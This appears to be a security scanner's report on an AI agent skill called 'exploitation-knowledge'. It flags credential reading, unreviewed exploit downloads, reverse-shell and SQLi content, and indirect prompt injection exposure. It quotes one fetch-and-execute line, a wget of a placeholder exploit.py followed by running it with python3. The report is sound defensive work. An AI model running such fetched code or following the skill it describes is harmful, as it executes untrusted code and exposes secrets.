exploitation-knowledge

HIGH W007: Insecure credential handling detected in skill instructions.

• Insecure credential handling detected (high risk: 1.00). The skill explicitly instructs reading the user flag from disk and embedding it verbatim into JSON/state (e.g., USER_FLAG=$(cat ...) and jq --arg flag "$USER_FLAG"), which requires the LLM/agent to handle and output secret values directly.

CRITICAL E005: Suspicious download URL detected in skill instructions.

• Suspicious download URL detected (high risk: 1.00). The list includes direct downloads of unreviewed exploit code (raw.githubusercontent) and a GitHub repository that hosts an operational exploitation playbook — both are high-risk sources for malware/supply-chain or exploit distribution.

CRITICAL E006: Malicious code pattern detected in skill scripts.

• Malicious code pattern detected (high risk: 1.00). This skill is an explicit, operational exploitation playbook containing actionable reverse-shell payloads, Metasploit/SQLi commands, file-upload/webshell guidance, and post-compromise data capture — high misuse potential.

MEDIUM W011: Third-party content exposure detected (indirect prompt injection risk).

• Third-party content exposure detected (medium risk: 0.30). The required workflow’s Phase 1 “Layer 3: Online sources (GitHub, Google)” instructs querying GitHub via https://api.github.com/search/repositories..., which causes the agent to ingest outsider-authored repository metadata/content for exploit discovery.

MEDIUM W012: Unverifiable external dependency detected (runtime URL that controls agent).

• Potentially malicious external URL detected (high risk: 1.00). The skill contains an explicit runtime fetch ("wget https://raw.githubusercontent.com/user/repo/exploit.py") followed by running the downloaded file ("python3 exploit.py"), so the URL https://raw.githubusercontent.com/user/repo/exploit.py is used at runtime to retrieve remote code that the workflow then executes.